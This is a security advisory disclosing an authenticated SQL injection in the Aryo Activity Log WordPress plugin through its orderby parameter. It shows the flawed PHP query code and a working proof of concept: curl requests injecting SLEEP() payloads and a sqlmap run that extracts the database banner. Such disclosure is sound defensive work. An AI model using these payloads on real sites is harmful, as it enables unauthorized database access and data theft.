SYNACKTIV
DIGITAL SECURITY

SQL injection in aryo-activity-log plugin

Security advisory

2021-05-03

Jérôme Mampianinazakason

Vulnerability description

Presentation of Aryo Activity Log

From the Aryo Activity Log website (https://activitylog.io/):

“Activity Log is the easiest way to keep track of your user activity. Find out exactly who does what on your website, and perform the most comprehensive security audit.”

The issue

During a security assessment for a customer, Synacktiv discovered that Aryo Activity Log WordPress plugin does provide a table view to list past events. Data rendered in this table can be order by a specific column, and the plugin does not escape correctly this column name before using it to retrieve more information leading to an SQL injection.

Affected versions

Version 2.6.1 is known to be vulnerable, and versions between 2.3.5 and 2.6.1 seems to be vulnerable as well.

Timeline

Date	Action
2021-05-03	Synacktiv contacted Aryo Activity Log developers.
2021-05-06	Vulnerability fixed in Aryo Activity Log 2.7.0.

Technical description and proof-of-concept

The code responsible for this vulnerability is located in *classes/class-aal-activity-log-list-table.php*:

```
public function prepare_items() {
        global $wpdb;
        $items_per_page        = $this->get_items_per_page( 'edit_aal_logs_per_page', 20 );
        $this->_column_headers = array( $this->get_columns(), get_hidden_columns( $this->screen ),
$this->get_sortable_columns() );
        $where                 = ' WHERE 1 = 1';

        if ( ! isset( $_REQUEST['order'] ) || ! in_array( $_REQUEST['order'], array( 'desc',
'asc' ) ) ) {
                $_REQUEST['order'] = 'DESC';
        }
        if ( ! isset( $_REQUEST['orderby'] ) || ! in_array( $_REQUEST['orderby'], array( 'hist_time',
'hist_ip' ) ) ) {
                $_REQUEST['orderby'] = 'hist_time';
        }
[…]
        $items_orderby = filter_input( INPUT_GET, 'orderby', FILTER_SANITIZE_STRING );
        if ( empty( $items_orderby ) ) {
                $items_orderby = 'hist_time'; // Sort by time by default.
        }

        $items_order = strtoupper( $_REQUEST['order'] );
        if ( empty( $items_order ) || ! in_array( $items_order, array( 'DESC', 'ASC' ) ) ) {
                $items_order = 'DESC'; // Descending order by default.
        }

        $this->items = $wpdb->get_results( $wpdb->prepare(
                'SELECT * FROM `' . $wpdb->activity_log . '`
                ' . $where . '
                ' . $this->_get_where_by_role() . '
                ORDER BY ' . $items_orderby . ' ' . $items_order . '
                LIMIT %d, %d;',
                $offset,
                $items_per_page
        ) );
```

The *items_orderby* variable is not properly escaped as the filter *FILTER_SANITIZE_STRING* purpose is, as the official documentation described (https://www.php.net/manual/en/filter.filters.sanitize.php), to :

"*Strip tags and HTML-encode double and single quotes, optionally strip or encode special characters. Encoding quotes can be disabled by setting* ***FILTER_FLAG_NO_ENCODE_QUOTES***."

The concatenation without prior controls lead to an SQL injection.

This vulnerable function is called when the administration view is rendered, in *classes/class-aal-admin-ui.php*:

```
public function create_admin_menu() {
        $menu_capability = current_user_can( 'view_all_aryo_activity_log' ) ?
'view_all_aryo_activity_log' : 'edit_pages';

        $this->_screens['main'] = add_menu_page( _x( 'Activity Log', 'Page and Menu Title', 'aryo-
activity-log' ), _x( 'Activity Log', 'Page and Menu Title', 'aryo-activity-log' ), $menu_capability,
'activity_log_page', array( &$this, 'activity_log_page_func' ), '', '2.1' );
[...]
public function activity_log_page_func() {
        $this->get_list_table()->prepare_items();
        ?>
[…]
```

The administration panel is visible only for authenticated users with the *view_all_aryo_activity_log* or *edit_pages* capabilities.

The vulnerable request can be exploited as a time-based SQL injection:

- *SLEEP(0)*

```
time curl 'http://localhost/wp-admin/admin.php?page=activity_log_page&orderby=hist_time%20AND%20SLEEP
%280%29' -H 'Cookie: [...]'

real     0m0.080s
[...]
```

- *SLEEP(1)*

```
$ time curl 'http://localhost/wp-admin/admin.php?page=activity_log_page&orderby=hist_time%20AND
%20SLEEP%281%29' -H 'Cookie: [...]'

real     0m3.083s
[...]
```

- *SLEEP(5)*

```
time curl 'http://localhost/wp-admin/admin.php?page=activity_log_page&orderby=hist_time%20AND%20SLEEP
%285%29' -H 'Cookie: [...]'

real     0m15.056s
[...]
```

Sqlmap can be leveraged to exploit this vulnerability:

```
$ sqlmap -r req.txt -p orderby –batch --banner --dbms=mysql --level 5 --risk 3
[...]
[12:13:25] [INFO] parsing HTTP request from 'req.txt'
[...]
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: page=activity_log_page&orderby=hist_time AND 2910=(SELECT (CASE WHEN (2910=2910) THEN
2910 ELSE (SELECT 7279 UNION SELECT 2187) END))-- YEqP&order=desc

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=activity_log_page&orderby=hist_time AND SLEEP(5)&order=desc
---
[12:25:24] [INFO] the back-end DBMS is MySQL
[12:25:24] [INFO] fetching banner
[12:25:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for
faster data retrieval
[12:25:24] [INFO] retrieved: 8.0.23-0ubuntu0.20.04.1
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner:    '8.0.23-0ubuntu0.20.04.1'
[...]
```